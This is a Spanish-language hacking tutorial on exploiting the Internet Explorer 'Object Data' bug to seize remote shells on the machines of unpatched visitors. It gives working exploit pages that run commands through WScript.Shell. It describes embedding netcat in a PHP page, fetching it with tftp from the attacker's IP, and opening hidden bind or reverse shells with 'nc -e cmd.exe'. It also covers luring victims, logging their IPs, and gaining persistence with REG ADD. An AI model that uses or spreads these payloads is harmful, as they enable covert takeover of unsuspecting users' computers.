Obtención de shells remotos con el bug Object Data (Internet Explorer)
Intenciones: Con este
pequeño manual pretendo mostrar algunas formas de obtener shells del
sistema, a través del bug object data de Internet Explorer. Todos los
ejemplos han sido realizados, suponiendo que el visitante de las
páginas use un SO con plataforma NT (XP/2000/NT/2003), que no tengan
parcheado este bug, y que no dispongan de Firewall.
El bug fue descubierto por el grupo eEye Digital Security. http://www.eeye.com/html/Research/Advisories/AD20030820.html
Más información acerca del fallo de seguridad: http://www.hispasec.com/unaaldia/1778
Según la página explicativa de eEye, un usuario normal debía hacer una péticion HTTP de la página maliciosa del siguiente modo:
Petición HTTP del cliente:
<html>
...
<object data="www.server.com/maliciosa.html"></object>
<html>
Y el servidor responder de la siguiente forma:
Respuesta del servidor:
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Lenght: 191
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmd.exe /k echo hola");
</script>
</html>
Con esto nosotros, al visitar dicha página obtendríamos algo así:
Ya que la linea "wsh.Run("cmd.exe /k echo hola");" ejecuta la consola (cmd.exe) y le pasa el comando "echo", con la variable "hola". Sería equivalente a poner "cmd.exe /k echo hola" en Inicio Ejecutar.
Hasta ahora todo va correctamente, pero si nos fijamos en una parte de la respuesta del servidor vemos esto: "Content-Type: application/hta", mientras que un servidor normal siempre nos iba a responder "Content-Type: text/html", por lo que la ejecución del código no sería satisfactoria.
Una solución sencilla es añadir una cabecera en a la url maliciosa que cambie el content type, como por ejemplo esta de php: "<?php header("Content-type: application/hta"); ?>".
Por lo tanto nuestra url maliciosa pasará a tener extensión php en vez
de htm o html para que pueda cambiar el content type correctamente.
Comenzemos con un ejemplo:
Página Prueba.htm
<span datasrc="#oExec"
datafld="exploit"
dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile"data="urlmaliciosa.php"></object>
]]>
</exploit>
</security>
</xml>
<?php header("Content-type: application/hta"); ?>
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language=vbs>
Set shell=CreateObject("WScript.Shell")
shell.run("cmd.exe /k echo Hola")
</script>
</html>
Con estas dos páginas subidas en un servidor que soporte php
(lycos,iespana,...) y llamando a Prueba.htm, habremos ejecutado el
comando "echo hola" en nuestro sistema de forma transparente.
Como
podreis imáginar, el bug no se limita únicamente a la ejecución del
comando "echo", si no a todos los comandos de la consola.
Visto
por encima el funcionamiento del fallo de seguridad, pasaremos a algo
"mas gordo", la descarga y ejecución de programas. Este paso consiste
en incrustar el archivo a descargar en el php final en forma
hexadecimal, cambiando los valores "0" por "y" y "FF" por "z". Después
un script escrito en vbs (Visual Basic Script, al igual que en la
ejecución de comandos) se encargará de leer el fichero en hexadecimal,
guardarlo en el disco duro, y ejecutarlo. Para hacer todos estos pasos
he creado un generador específico para este bug, ya que puede resultar
pesado crear estas páginas.
Con el podremos hacer básicamente tres cosas: Descarga y ejecución de archivos, comandos de consola, y ambas cosas.
Caputra del programa:
Lo
primero que vamos a hacer, es un ejemplo con netcat de cómo podríamos
obtener la shell de un visitante. Podemos hacerlo de dos formas,
haciendo que el visitante se conecte a vosotros, o que vosotros o
conecteis a el. Para conectaros a el, necesitareis saber su IP, la
podeis averiguar, de varios modos, ya que al entrar a la página
infectada hace una petición con su IP de dicha página. (Un script en
php que guarde en un txt la ip, los logs de acceso del server,
contadores de visitas gratuitos, etc).
Para poner un netcat a la escucha (recibir conexiones entrantes), debemos pasarle como parámetros de inicialización el "-l -p puerto" y para que de la shell al conectarse a él, debemos poner "-e cmd.exe", por lo que si lo ejecutamos así: "nc -l -p 2525 -e cmd.exe", se pondrá a la escucha por el puerto 2525, y cuando alguien se conecte a él ejecutará cmd.exe, dandonos así la consola.
Llevandolo a la práctica con el generador...
Como
hemos dicho, vamos poner el netcat a la escucha para que al conectarnos
nos de shell, pues en el programa quedaría algo así:
Hemos
seleccionado el archivo a incrustar "Archivo:", para este ejemplo el
netcat, que en mi caso está en D:\nc.exe. En "Descargar a:" está puesta
la ruta completa dónde se le descargará el archivo al visitante de la
página. Es importante poner la ruta completa, no algo como
"C:\Windows\". En "Guardar como:" simplemente está la ruta de la página
a generar. Y por último y más importante, está "Comandos:" que contiene
los comandos de ejecución para el netcat, que en este caso le pone a la
escucha por el puerto 2525 para dar una shell.
Para conectar a esta shell, tan sólo es necesario conocer la ip del navegante, y ejecutando nuestro netcat así "nc IP 2525" obtendremos la shell del sistema.
El puerto puede ser cambiado por cualquier otro siempre y cuando no esté ocupado.
También
es importante tener activada la opción "Ejecutar oculto" ya que si no
estuviese, al navegante se le abriría la consola con el netcat siendo
visible, por lo que podría cerrarlo sin mayores problemas.
Una vez
lo tengamos configurado más o menos como se muestra en la imágen,
procederemos a generar la página, pulsando sobre "Generar página".
Cuando haya terminado, habrá generado dos páginas (en este caso
D:\nc.php y D:\nc.html) donde hayais elegido.
Esas dos páginas serán
las que haya que subir a un servidor que soporte php. Es importante que
siempre se ejecute el html (En iespana sería algo así
http://www.iespana.es/misitioweb/nc.html) ya que éste es el que se
encarga de abrir el php con el "object data".
Una vez estemos en la
página html, se nos abrirá un popup del php que descargará y ejecutará
el netcat en el equipo del visitante.
Para que él se conecte a nosotros...
Tan solo habrá que modificar la casilla de comandos, por estos otros: "mi_ip mi_puerto -e cmd.exe". Nosotros en nuestro sistema deberemos tener en este caso un netcat a la escucha con los siguientes parámetros: "nc -l -p mi_puerto". De este modo, cuando la página sea visitada, se descargará un netcat, y este conectará con nosotros dándonos su shell.
Este
método tiene una ventaja sobre el anterior, y es que la conexión que se
realiza por parte del navegante es saliente, pudiendo así saltarse LANS
y algunos Firewalls, pero por el contrario se expone la IP del atacante
en el fuente del php.
Quizás este método parezca bueno y eficaz,
pero tiene un problema, y es el tamaño del php generado, y es que al
pasarlo a hexadecimal casi duplica el tamaño del archivo original,
corriendo el riesgo de que si la página no es del todo entretenida (por
defecto saldrá siempre blanco) cierre el popup antes de que le diese
tiempo a descargarse y ejecutarse. Para agravar un poco la situación,
es recomendable pasarle siempre el UPX al ejecutable original o
cualquier otro compresor de ejecutables, para así reducir al mínimo el
tamaño de descarga.
Hecha esta anotación vamos a ver un método con el que descargaremos un netcat con menos de medio KB en página web.
Esta
vez, vamos a seleccionar la opción de "Sólo Consola", ponemos la ruta
dónde lo queremos guardar, y en la parte de comandos de consola, vamos
a poner lo siguiente: "tftp -i mi_ip GET nc.exe C:\Windows\nc.exe"
Explicación...
El
programa tftp que trae windows, es un cliente que sirver para la
transferencia de archivos a través de internet. Ese comando hace lo
siguiente "-i" Establece el modo de transferencia binario; "mi_ip" pues
eso, nuestra ip; "GET" pide un archivo al servidor remoto; "nc.exe"
pide el nc.exe; "C:\Windows\nc.exe" es el lugar dónde va a ser
transferido.
Y ahora os preguntareis qué cual es ese servidor remoto, pero como es obvio, descubrís que sois vosotros.
Haciendo de servidor TFTP
Para hacer de servidor tftp usaremos el programa "TFTPD32i". Una vez lo tengamos ejecutado tomará un aspecto como este:
Ahora
meteremos el nc.exe en la carpeta del TFTP32i, de modo que así cuando
el navegante haga el GET, encuentre el nc.exe. Y ahora que tenemos el
servidor corriendo con el netcat en su carpeta y puesto el comando
"tftp -i mi_ip GET nc.exe C:\Windows\nc.exe" damos un intro en comandos
de consola y ponemos este otro comando: "nc mi_ip mi_puerto -e
cmd.exe". Como ya sabeis, es necesario tener el netcat a la escucha
como se dijo antes, pero si por el contrario preferís que se ponga a la
escucha en el ordenador del navegante, ponemos "nc -l -p puerto -e
cmd.exe".
Ya sólo queda generar la página y subirla, y por supuesto, que alguien la visite.
Viendo esta técnica en imágenes... (Para mí la mejor)
Ponemos un netcat a la escucha...
Ejecuto el TFTP32i...
Generamos las páginas...
Y las subimos, se la decimos a alguien para que "pique", y esperando un poco... obtenemos esto:
Navegante descargando el netcat...
Cuando termine, miramos el netcat y... qué vemos¿?
La shell del navegante!!
Como este habrá muchos más métodos de conseguir una shell, que nos permitirán hacernos con el control del sistema :D
Echandole
imaginación, también podríamos poner el comando "SHUTDOWN" para
apagarle el ordenador, usar el "REG ADD" para que el programa tenga
autoarranque,etc.
Salu2! IsAhT